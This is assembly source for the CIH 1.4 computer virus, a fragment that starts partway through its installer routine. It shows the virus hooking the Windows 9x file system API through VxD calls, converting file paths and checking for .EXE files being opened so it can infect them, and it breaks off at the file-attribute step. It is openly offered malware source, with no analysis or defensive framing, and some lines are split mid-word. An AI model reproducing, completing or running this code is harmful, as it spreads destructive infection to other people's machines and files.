cih1.4.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

                        push    ebx                                              
                        int     20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook    
IFSMgr_RemoveFileSystemApiHook  =       $                                        
                        dd      00400068h       ; Use EAX, ECX, EDX, and flags   
                        pop     eax                                              
                                                                                 
                        ; Call Original IFSMgr_InstallFileSystemApiHook          
                        ; to Link Client FileSystemApiHook                       
                        push    dword ptr [esp+8]                                
                        call    OldInstallFileSystemApiHook-@3[ebx]              
                        pop     ecx                                              
                                                                                 
                        push    eax                                              
                                                                                 
                        ; Call Original IFSMgr_InstallFileSystemApiHook          
                        ; to Link My FileSystemApiHook                           
                        push    ebx                                              
                        call    OldInstallFileSystemApiHook-@3[ebx]              
                        pop     ecx                                              
                                                                                 
                        mov     dr0, eax        ; Adjust OldFileSystemApiHook A  
ress                                                                             
                                                                                 
                        pop     eax                                              
                                                                                 
                        pop     ebx                                              
                                                                                 
                        ret                                                      
                                                                                 
; *********************************************************                      
; *                     Static Data                       *                      
; *********************************************************                      
                                                                                 
OldInstallFileSystemApiHook     dd      ?                                        
                                                                                 
; *********************************************************                      
; *             IFSMgr_FileSystemHook                     *                      
; *********************************************************                      
                                                                                 
; *************************************                                          
; * IFSMgr_FileSystemHook Entry Point *                                          
; *************************************                                          
                                                                                 
FileSystemApiHook:                                                               
@3                      =       FileSystemApiHook                                
                                                                                 
                        pushad                                                   
                                                                                 
                        call    @5      ;                                        
@5:                                     ;                                        
                        pop     esi     ; mov esi, offset VirusGameDataStartAdd  
ss                                                                               
                        add     esi, VirusGameDataStartAddress-@5                
                                                                                 
; *************************************                                          
; * Is OnBusy !?                      *                                          
; *************************************                                          
                                                                                 
                        test    byte ptr (OnBusy-@6)[esi], 01h  ; if ( OnBusy )  
                        jnz     pIFSFunc                        ; goto pIFSFunc  
                                                                                 
; *************************************                                          
; * Is OpenFile !?                    *                                          
; *************************************                                          
                                                                                 
                        ; if ( NotOpenFile )                                     
                        ; goto prevhook                                          
                        lea     ebx, [esp+20h+04h+04h]                           
                        cmp     dword ptr [ebx], 00000024h                       
                        jne     prevhook                                         
                                                                                 
; *************************************                                          
; * Enable OnBusy                     *                                          
; *************************************                                          
                                                                                 
                        inc     byte ptr (OnBusy-@6)[esi]       ; Enable OnBusy  
                                                                                 
; *************************************                                          
; * Get FilePath's DriveNumber,       *                                          
; * then Set the DriveName to         *                                          
; * FileNameBuffer.                   *                                          
; *************************************                                          
; * Ex. If DriveNumber is 03h,        *                                          
; *     DriveName is 'C:'.            *                                          
; *************************************                                          
                                                                                 
                        ; mov esi, offset FileNameBuffer                         
                        add     esi, FileNameBuffer-@6                           
                                                                                 
                        push    esi                                              
                                                                                 
                        mov     al, [ebx+04h]                                    
                        cmp     al, 0ffh                                         
                        je      CallUniToBCSPath                                 
                                                                                 
                        add     al, 40h                                          
                        mov     ah, ':'                                          
                                                                                 
                        mov     [esi], eax                                       
                                                                                 
                        inc     esi                                              
                        inc     esi                                              
                                                                                 
; *************************************                                          
; * UniToBCSPath                      *                                          
; *************************************                                          
; * This Service Converts             *                                          
; * a Canonicalized Unicode Pathname  *                                          
; * to a Normal Pathname in the       *                                          
; * Specified BCS Character Set.      *                                          
; *************************************                                          
                                                                                 
CallUniToBCSPath:                                                                
                        push    00000000h                                        
                        push    FileNameBufferSize                               
                        mov     ebx, [ebx+10h]                                   
                        mov     eax, [ebx+0ch]                                   
                        add     eax, 04h                                         
                        push    eax                                              
                        push    esi                                              
                        int     20h     ; VXDCall UniToBCSPath                   
UniToBCSPath            =       $                                                
                        dd      00400041h                                        
                        add     esp, 04h*04h                                     
                                                                                 
; *************************************                                          
; * Is FileName '.EXE' !?             *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-04h], '.EXE'                              
                        cmp     [esi+eax-04h], 'EXE.'                            
                        pop     esi                                              
                        jne     DisableOnBusy                                    
                                                                                 
IF      DEBUG                                                                    
                                                                                 
; *************************************                                          
; * Only for Debug                    *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-06h], 'FUCK'                              
                        cmp     [esi+eax-06h], 'KCUF'                            
                        jne     DisableOnBusy                                    
                                                                                 
ENDIF                                                                            
                                                                                 
; *************************************                                          
; * Is Open Existing File !?          *                                          
; *************************************                                          
                                                                                 
                        ; if ( NotOpenExistingFile )                             
                        ; goto DisableOnBusy                                     
                        cmp     word ptr [ebx+18h], 01h                          
                        jne     DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Get Attributes of the File        *                                          
; *************************************